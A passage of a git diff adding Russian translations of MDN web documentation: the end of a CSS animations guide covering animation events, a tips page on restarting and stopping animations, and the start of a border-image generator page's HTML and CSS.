+<p>В первом примере у свойства имени анимации установлены три значения, у свойств продолжительности и количества повторений  — по одному. В этом случае у всех трех анимаций одинаковая продолжительность и число повторений:</p>
+
+<pre><code>animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 3s;
+animation-iteration-count: 1;</code></pre>
+
+<p>Во втором примере установлены три значения для каждого из свойств. В этом случае каждая анимация выполняется с соответствующими по порядку значениями в каждом свойстве, так, например, <code>fadeInOut</code> имеет продолжительность 2.5 с и количество повторений 2, и т.д.</p>
+
+<pre><code>animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 2.5s, 5s, 1s;
+animation-iteration-count: 2, 1, 5;</code></pre>
+
+<p>В третьем примере определены три значения имени анимации, но два значения продолжительности и количества повторений. В случае, когда количества значений недостаточно для каждой анимации, значения берутся циклически от начала до конца. Например, у <code>fadeInOut</code> длительность будет 2.5s,  а <code>moveLeft300px</code> — 5s. Значения продолжительности закончились, теперь они берутся сначала — <code>bounce</code> получит продолжительность 2.5s. Значение количества повторений (а также другие указанные свойства) будет определено таким же образом.</p>
+
+<pre><code>animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 2.5s, 5s;
+animation-iteration-count: 2, 1;</code></pre>
+
+<h3 id="Использование_событий_анимации">Использование событий анимации</h3>
+
+<p>Вы можете получить дополнительный контроль над анимацией, а также полезную информацию о ней, с помощью <em>событий анимации</em>. Эти события, представленные объектом {{ domxref("event/AnimationEvent", "AnimationEvent") }}, можно использовать, чтобы определить, когда начинается и заканчивается анимация или начинается новая итерация. Каждое событие содержит момент времени, когда оно произошло, а также имя анимации, которая вызвала событие.</p>
+
+<p>Мы будем модифицировать текст, чтобы выводить некоторую информацию  о каждом событии анимации. Так мы сможем увидеть, как она работает.</p>
+
+<h4 id="Добавление_CSS">Добавление CSS</h4>
+
+<p>Начнем с добавления CSS. Анимация будет длиться 3 секунды, будет называться "slidein", будет повторяться 3 раза, а также значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">animation-direction</span></font> установлено <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">alternate</span></font>. В ключевых кадрах {{ cssxref("@keyframes") }} установлены такие значения ширины и левого отступа, что элемент будет скользить по экрану.</p>
+
+<pre class="brush: css">.slidein {
+  -moz-animation-duration: 3s;
+  -webkit-animation-duration: 3s;
+  animation-duration: 3s;
+  -moz-animation-name: slidein;
+  -webkit-animation-name: slidein;
+  animation-name: slidein;
+  -moz-animation-iteration-count: 3;
+  -webkit-animation-iteration-count: 3;
+  animation-iteration-count: 3;
+  -moz-animation-direction: alternate;
+  -webkit-animation-direction: alternate;
+  animation-direction: alternate;
+}
+
+@-moz-keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+
+@-webkit-keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%
+  }
+
+  to {
+   margin-left: 0%;
+   width: 100%;
+ }
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%
+  }
+
+  to {
+   margin-left: 0%;
+   width: 100%;
+ }
+}</pre>
+
+<h4 id="Добавление_обработчика_события_анимации">Добавление обработчика события анимации</h4>
+
+<p>Будем использовать JavaScript для отслеживания всех трех возможных событий анимации. Следующий код конфигурирует обработчик; мы вызываем его при первой загрузке документа.</p>
+
+<pre class="brush: js">var e = document.getElementById("watchme");
+e.addEventListener("animationstart", listener, false);
+e.addEventListener("animationend", listener, false);
+e.addEventListener("animationiteration", listener, false);
+
+e.className = "slidein";
+</pre>
+
+<p>Это довольно стандартный код; Вы можете получить дополнительную информацию в документации {{ domxref("element.addEventListener()") }}. Последнее, что делает этот код - это установка класса "slidein" для анимируемого элемента; мы делаем это, чтобы запустить анимацию.</p>
+
+<p>Почему? Потому что в нашем случае событие <code>animationstart</code> происходит как только анимация стартует, и это происходит раньше, чем исполняется наш сценарий. Так мы сможем контролировать начало анимации самостоятельно посредством вставки класса "slidein" для анимируемого элемента.</p>
+
+<h4 id="Регистрация_событий">Регистрация событий</h4>
+
+<p>События будут передаваться функции <code>listener()</code>, показанной ниже.</p>
+
+<pre class="brush: js">function listener(e) {
+  var l = document.createElement("li");
+  switch(e.type) {
+    case "animationstart":
+      l.innerHTML = "Started: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationend":
+      l.innerHTML = "Ended: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationiteration":
+      l.innerHTML = "New loop started at time " + e.elapsedTime;
+      break;
+  }
+  document.getElementById("output").appendChild(l);
+}
+</pre>
+
+<p>Этот код также очень прост. Этот код следит за {{ domxref("event.type") }}, чтобы определить тип события, и добавляет элемент {{ HTMLElement("ul") }}, чтобы залогировать произошедшее событие.</p>
+
+<p>Вывод, когда анимация закончится, будет выглядеть примерно следующим образом:</p>
+
+<ul>
+ <li>Started: elapsed time is 0</li>
+ <li>New loop started at time 3.01200008392334</li>
+ <li>New loop started at time 6.00600004196167</li>
+ <li>Ended: elapsed time is 9.234000205993652</li>
+</ul>
+
+<p>Обратите внимание, что время, указанное в выводе, и время, которое мы указали в стилях, не совпадают. Также обратите внимание, что после окончания итерации не посылается событие <code>animationiteration</code> ; вместо него посылается событие <code>animationend</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<p>Ради полноты картины приведем код разметки HTML. В разметке имеется тег <em>ul,</em> в который и выводится вся информация:</p>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;h1 id="watchme"&gt;Watch me move&lt;/h1&gt;
+  &lt;p&gt;This example shows how to use CSS animations to make &lt;code&gt;p&lt;/code&gt; elements
+  move across the page.&lt;/p&gt;
+  &lt;p&gt;In addition, we output some text each time an animation event fires, so you can see them in action.&lt;/p&gt;
+  &lt;ul id="output"&gt;
+  &lt;/ul&gt;
+&lt;/body&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Использование_событий_анимации', '600', '300')}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+ <li><a href="/en-US/docs/CSS/CSS_animations/Detecting_CSS_animation_support" title="en/CSS/CSS animations/Detecting CSS animation support">Определение поддержки CSS анимации</a></li>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">Использование CSS-переходов</a></li>
+</ul>
diff --git a/files/ru/web/css/css_animations/tips/index.html b/files/ru/web/css/css_animations/tips/index.html
new file mode 100644
index 0000000000..8b4468729d
--- /dev/null
+++ b/files/ru/web/css/css_animations/tips/index.html
@@ -0,0 +1,150 @@
+---
+title: CSS Animations tips and tricks
+slug: Web/CSS/CSS_Animations/Tips
+translation_of: Web/CSS/CSS_Animations/Tips
+---
+<div>{{cssref}}</div>
+
+<p>CSS-анимация позволяет делать невероятные вещи с элементами, из которых состоят ваши документы и приложения. Однако есть вещи, которые не являются очевидными и, о способах реализации которых, вы не знаете, но вы бы хотели их реализовать. Эта статья представляет собой набор советов и трюков, которые мы нашли, чтобы облегчить вашу работу. В том числе, как снова запустить остановленную анимацию.</p>
+
+<h2 id="Run_an_animation_again" name="Run_an_animation_again">Запустить анимацию снова</h2>
+
+<p>Спецификация <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> не предлагает способа запустить анимацию снова. Нет никакого волшебного метода resetAnimation () для элементов, и вы даже не можете просто установить элемент {{cssxref ("animation-play-state")}} в" running " снова. Вместо этого вы должны использовать хитрые трюки, чтобы запустить остановленную анимацию для воспроизведения.</p>
+
+<p>Предлагаем вам один из способов, который мы считаем достаточно надежным и стабильным.</p>
+
+<h3 id="HTML_содержимое">HTML содержимое</h3>
+
+<p>Во-первых, давайте определим HTML для {{HTMLElement("div")}} который мы хотим анимировать, и кнопку, которая будет запускать (или воспроизводить) анимацию.</p>
+
+<pre class="brush: html">&lt;div class="box"&gt;
+&lt;/div&gt;
+
+&lt;div class="runButton"&gt;Click me to run the animation&lt;/div&gt;</pre>
+
+<h3 id="CSS_содержимое">CSS содержимое</h3>
+
+<p>Теперь мы определим саму анимацию с помощью CSS. Некоторые стили CSS, которые не важны (стиль самой кнопки "выполнить"), здесь не показаны, для краткости.</p>
+
+<div class="hidden">
+<pre class="brush: css">.runButton {
+  cursor: pointer;
+  width: 300px;
+  border: 1px solid black;
+  font-size: 16px;
+  text-align: center;
+  margin-top: 12px;
+  padding-top: 2px;
+  padding-bottom: 4px;
+  color: white;
+  background-color: darkgreen;
+  font: 14px "Open Sans", "Arial", sans-serif;
+}</pre>
+</div>
+
+<pre class="brush: css">@keyframes colorchange {
+  0% { background: yellow }
+  100% { background: blue }
+}
+
+.box {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+}
+
+.changing {
+  animation: colorchange 2s;
+}</pre>
+
+<p>Здесь есть два класса. В классе <code>"box"</code> прописано основное описание внешнего вида элемента, без какой-либо анимационной информации. Детали анимации включены в класс <code>"changing"</code> , который сообщает, что {{cssxref("@keyframes")}} с именем <code>"colorchange"</code> должен использоваться в течение 2 секунд.</p>
+
+<p>Обратите внимание, что каких-либо анимационных эффектов у элемента не наблюдается, т.е. анимации нет.</p>
+
+<h3 id="JavaScript_содержимое">JavaScript содержимое</h3>
+
+<p>Далее мы рассмотрим JavaScript, который дополняет эту работу. Основа этой техники находится в функции play (), которая вызывается, когда пользователь нажимает на кнопку "Выполнить".</p>
+
+<pre class="brush: js">function play() {
+  document.querySelector(".box").className = "box";
+  window.requestAnimationFrame(function(time) {
+    window.requestAnimationFrame(function(time) {
+      document.querySelector(".box").className = "box changing";
+    });
+  });
+}</pre>
+
+<p>Это выглядит странно, не так ли? Это потому, что единственный способ воспроизвести анимацию снова-удалить анимационный эффект, позволить документу пересчитать стили так, чтобы он знал, что вы это сделали, а затем добавить анимационный эффект обратно в элемент. Чтобы это произошло, мы должны быть креативными.</p>
+
+<p>Вот что происходит, когда вызывается функция <code>play()</code> :</p>
+
+<ol>
+ <li>Список классов CSS в элементе сбрасывается до простого "box". Это приводит к удалению всех других классов, которые в настоящее время применяются к элементу, включая класс <code>"changing"</code> , который обрабатывает анимацию. Другими словами, мы удаляем анимационный эффект из элемента. Однако изменения в списке классов не вступают в силу до тех пор, пока не будет завершен перерасчет стиля и не произойдет обновление, отражающее это изменение.</li>
+ <li>Чтобы убедиться, что стили пересчитаны, мы используем  {{domxref("window.requestAnimationFrame()")}}, указывающую обратный вызов. Наш обратный вызов выполняется непосредственно перед следующей перерисовкой документа. Проблема заключается в том,что, поскольку это происходит до перерисовки, перерасчет стиля еще не произошел! </li>
+ <li>Наш обратный вызов ловко вызывает <code>requestAnimationFrame()</code> второй раз! На этот раз обратный вызов выполняется до следующей перерисовки, то есть после того, как произошла перерасчет стиля. Этот обратный вызов добавляет класс <code>"changing"</code> обратно в элемент, так что перерисовка снова запустит анимацию.</li>
+</ol>
+
+<p>Конечно, нам также нужно добавить обработчик событий к нашей кнопке "выполнить", чтобы она действительно что-то делала:</p>
+
+<pre class="brush: js">document.querySelector(".runButton").addEventListener("click", play, false);</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Run_an_animation_again', 320, 160) }}</p>
+
+<h2 id="Остановка_анимации">Остановка анимации</h2>
+
+<p>Простое удаление {{cssxref("animation-name")}} примененного к элементу, заставит его исчезнуть или перейти в следующее состояние. Если вместо этого вы хотите, чтобы анимация закончилась, а затем остановилась, вам нужно попробовать другой подход. Главные хитрости заключаются в следующем:</p>
+
+<ol>
+ <li>Сделайте свою анимацию настолько самодостаточной, насколько это возможно. Это означает, что вы не должны полагаться на <code>animation-direction: alternate</code>. Вместо этого вы должны явно написать анимацию ключевого кадра, которая проходит через полную анимацию в одном прямом повторении.</li>
+ <li>Используйте JavaScript и очистите анимацию, используемую при запуске события<code>animationiteration</code> .</li>
+</ol>
+
+<p>Следующая демонстрация показывает, как вы могли бы достичь вышеупомянутой техники JavaScript:</p>
+
+<pre class="brush: css">.slidein {
+  animation-duration: 5s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+
+.stopped {
+  animation-name: none;
+}
+
+@keyframes slidein {
+  0% {
+    margin-left: 0%;
+  }
+  50% {
+    margin-left: 50%;
+  }
+  100% {
+    margin-left: 0%;
+  }
+}
+</pre>
+
+<pre class="brush: html">&lt;h1 id="watchme"&gt;Click me to stop&lt;/h1&gt;
+</pre>
+
+<pre class="brush: js">let watchme = document.getElementById('watchme')
+
+watchme.className = 'slidein'
+const listener = (e) =&gt; {
+  watchme.className = 'slidein stopped'
+}
+watchme.addEventListener('click', () =&gt;
+  watchme.addEventListener('animationiteration', listener, false)
+)
+</pre>
+
+<p>Demo <a href="https://jsfiddle.net/morenoh149/5ty5a4oy/">https://jsfiddle.net/morenoh149/5ty5a4oy/</a></p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">Using CSS transitions</a></li>
+ <li>{{domxref("Window.requestAnimationFrame()")}}</li>
+</ul>
diff --git a/files/ru/web/css/css_background_and_borders/border-image_generator/index.html b/files/ru/web/css/css_background_and_borders/border-image_generator/index.html
new file mode 100644
index 0000000000..750bbe96f3
--- /dev/null
+++ b/files/ru/web/css/css_background_and_borders/border-image_generator/index.html
@@ -0,0 +1,2628 @@
+---
+title: Генератор Border-image
+slug: Web/CSS/CSS_Background_and_Borders/Border-image_generator
+tags:
+  - CSS
+  - Tools
+translation_of: Web/CSS/CSS_Background_and_Borders/Border-image_generator
+---
+<p>Этот инструмент можно использовать, чтобы генерировать CSS3 значения {{cssxref("border-image")}}.</p>
+
+<div style="display: none;">
+<h2 id="Border_Image_Generator" name="Border_Image_Generator">Border Image Generator</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">    &lt;div id="container"&gt;
+
+        &lt;div id="gallery"&gt;
+            &lt;div id="image-gallery"&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6007/border-image-1.png" data-stateID="border1"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6009/border-image-2.png" data-stateID="border2"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6011/border-image-3.png" data-stateID="border3"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6013/border-image-4.png" data-stateID="border4"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6015/border-image-5.png" data-stateID="border5"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6017/border-image-6.svg" data-stateID="border6"/&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="load-actions" class="group section"&gt;
+            &lt;div id="toggle-gallery" data-action="hide"&gt; &lt;/div&gt;
+            &lt;div id="load-image" class="button"&gt; Upload image &lt;/div&gt;
+            &lt;input id="remote-url" type="text" placeholder="Load an image from URL"/&gt;
+            &lt;div id="load-remote" class="button"&gt; &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="general-controls" class="group section"&gt;
+            &lt;div class="name"&gt; Control Box &lt;/div&gt;
+            &lt;div class="separator"&gt;&lt;/div&gt;
+            &lt;div class="property"&gt;
+                &lt;div class="name"&gt;scale&lt;/div&gt;
+                &lt;div class="ui-input-slider" data-topic="scale"
+                    data-unit="%" data-max="300" data-sensivity="10"&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div class="separator"&gt;&lt;/div&gt;
+            &lt;div class="property"&gt;
+                &lt;div class="name"&gt;draggable&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='drag-subject'&gt;&lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div class="property right"&gt;
+                &lt;div class="name"&gt;section height&lt;/div&gt;
+                &lt;div class="ui-input-slider" data-topic="preview-area-height"
+                    data-min="400" data-max="1000"&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="preview_section" class="group section"&gt;
+            &lt;div id="subject"&gt;
+                &lt;div class="guideline" data-axis="Y" data-topic="slice-top"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="X" data-topic="slice-right"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="Y" data-topic="slice-bottom"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="X" data-topic="slice-left"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div id="preview"&gt; &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;!-- controls --&gt;
+        &lt;div id="controls" class="group section"&gt;
+
+            &lt;!-- border-image-slice --&gt;
+            &lt;div id="border-slice-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-slice &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt;fill&lt;/div&gt;
+                    &lt;div class="ui-checkbox" data-topic='slice-fill'&gt;&lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- border-image-width --&gt;
+            &lt;div id="border-width-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-width &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- border-image-outset --&gt;
+            &lt;div id="border-outset-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-outset &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- other-settings --&gt;
+            &lt;div id="aditional-properties" class="category"&gt;
+                &lt;div class="title"&gt; aditional-properties &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt; repeat-x &lt;/div&gt;
+                    &lt;div class="ui-dropdown border-repeat" data-topic="image-repeat-X" data-selected="2"&gt;
+                        &lt;div data-value="0"&gt;repeat&lt;/div&gt;
+                        &lt;div data-value="0"&gt;stretch&lt;/div&gt;
+                        &lt;div data-value="0"&gt;round&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt; repeat-y &lt;/div&gt;
+                    &lt;div class="ui-dropdown border-repeat" data-topic="image-repeat-Y" data-selected="2"&gt;
+                        &lt;div data-value="1"&gt;repeat&lt;/div&gt;
+                        &lt;div data-value="1"&gt;stretch&lt;/div&gt;
+                        &lt;div data-value="1"&gt;round&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="font-size" data-info="em size"
+                        data-unit="px" data-value="12" data-sensivity="3"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="preview-width" data-info="width"
+                         data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="preview-height" data-info="height"
+                        data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+
+            &lt;div id="output" class="category"&gt;
+                &lt;div class="title"&gt; CSS Code &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-slice: &lt;/span&gt;
+                    &lt;span id="out-border-slice" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-width: &lt;/span&gt;
+                    &lt;span id="out-border-width" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-outset: &lt;/span&gt;
+                    &lt;span id="out-border-outset" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-repeat: &lt;/span&gt;
+                    &lt;span id="out-border-repeat" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-source: &lt;/span&gt;
+                    &lt;span id="out-border-source" class="value"&gt;  &lt;/span&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+        &lt;/div&gt;
+    &lt;/div&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI DropDown
+ */
+
+/* Dropdown */
+
+.ui-dropdown {
+	height: 2em;
+	width: 120px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 12px;
+
+	background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
+	background-position: right center;
+	background-repeat: no-repeat;
+	background-color: #359740;
+
+	position: relative;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-dropdown:hover {
+	cursor: pointer;
+	background-color: #208B20;
+}
+
+/* Dropdown Select Button */
+
+.ui-dropdown-select {
+	height: inherit;
+	padding: 0 0.75em;
+	color: #FFF;
+	line-height: 2em;
+}
+
+/* Dropdown List */
+
+.ui-dropdown-list {
+	width: 100%;
+	height: 150px;
+	max-height: 150px;
+	margin: 0;
+	padding: 0 0.3em;
+
+	border: 3px solid #3490D2;
+	border-color: #208B20;
+	background: #666;
+	background-color: #EEF1F5;
+	color: #000;
+
+	position: absolute;
+	top: 2em;
+	left: 0;
+	z-index: 100;
+
+	overflow: hidden;
+	transition: all 0.3s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list:hover {
+	overflow: auto;
+}
+
+.ui-dropdown-list[data-hidden='true'] {
+	height: 0 !important;
+	opacity: 0;
+	visibility: hidden;
+}
+
+.ui-dropdown[data-position='left'] .ui-dropdown-list {
+	left: -100%;
+	top: 0;
+}
+
+.ui-dropdown[data-position='right'] .ui-dropdown-list {
+	left: 100%;
+	top: 0;
+}
+
+.ui-dropdown-list &gt; div {
+	width: 100%;
+	height: 1.6em;
+	margin: 0.3em 0;
+	padding: 0.3em;
+	line-height: 1em;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list &gt; div:hover {
+	background: #3490D2;
+	color:#FFF;
+	border-radius: 2px;
+	cursor: pointer;
+}
+
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 2px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * BORDER IMAGE GENERATOR TOOL
+ */
+
+body {
+	width: 100%;
+	margin: 0 auto;
+	padding: 0 0 20px 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	/*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/
+	border: 1px solid #EEE;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+body[data-move='X'] {
+	cursor: w-resize !important;
+}
+
+body[data-move='Y'] {
+	cursor: s-resize !important;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+[data-draggable='true']:hover {
+	cursor: move;
+}
+
+[data-draggable='true']:hover &gt; * {
+	cursor: default;
+}
+
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/*
+ * Border Image Picker
+ */
+
+#gallery {
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#image-gallery {
+	width: 600px;
+	height: 100px;
+	margin: 0 auto;
+	transition: margin 0.4s;
+}
+
+#image-gallery .image {
+	height: 80px;
+	float: left;
+	margin: 10px;
+	opacity: 0.5;
+	background-color: #FFF;
+	box-shadow: 0px 0px 3px 1px #BABABA;
+}
+
+#image-gallery .image[selected="true"] {
+	box-shadow: 0px 0px 3px 1px #3BBA52;
+	opacity: 1;
+}
+
+#image-gallery .image:hover {
+	cursor: pointer;
+	box-shadow: 0px 0px 3px 1px #30ACE5;
+	opacity: 1;
+}
+
+#image-gallery[data-collapsed='true'] {
+	margin-top: -100px;
+}
+
+/* Load Menu */
+
+#load-actions {
+	margin: 10px 0;
+}
+
+#toggle-gallery {
+	width: 30px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+	background-repeat: no-repeat;
+	background-position: top 4px center;
+	background-color: #888888 !important;
+
+	border-radius: 2px;
+	float: left;
+}
+
+#toggle-gallery:hover {
+	cursor: pointer;
+}
+
+#toggle-gallery[data-action='show'] {
+	background-image: url('https://mdn.mozillademos.org/files/6001/arrow-down-white.png');
+	background-color: #888888 !important;
+}
+
+#toggle-gallery[data-action='hide'] {
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+}
+
+.button {
+	width: 100px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+	text-align: center;
+	font-size: 12px;
+	line-height: 25px;
+	background-color: #379B4A;
+	border-radius: 2px;
+	float: left;
+}
+
+.button:hover {
+	cursor: pointer;
+	background-color: #3380C4;
+}
+
+#load-image {
+	float: left;
+}
+
+#load-remote {
+	width: 30px;
+	background-image: url('https://mdn.mozillademos.org/files/6003/arrow-right-white.png');
+	background-repeat: no-repeat;
+	background-position: center center;
+}
+
+#remote-url {
+	width: 200px;
+	height: 23px;
+	margin: 10px;
+	padding: 0 5px;
+	border: 1px solid #379B4A;
+	border-radius: 2px;
+	float: left;
+
+	transition: width 0.5s;
+}
+
+#remote-url:focus {
+	box-shadow: 0px 0px 3px -1px #379B4A; /*#68ACE8; */
+	border-color: rgba(55, 155, 74, 0.5);
+	width: 450px;
+}
+
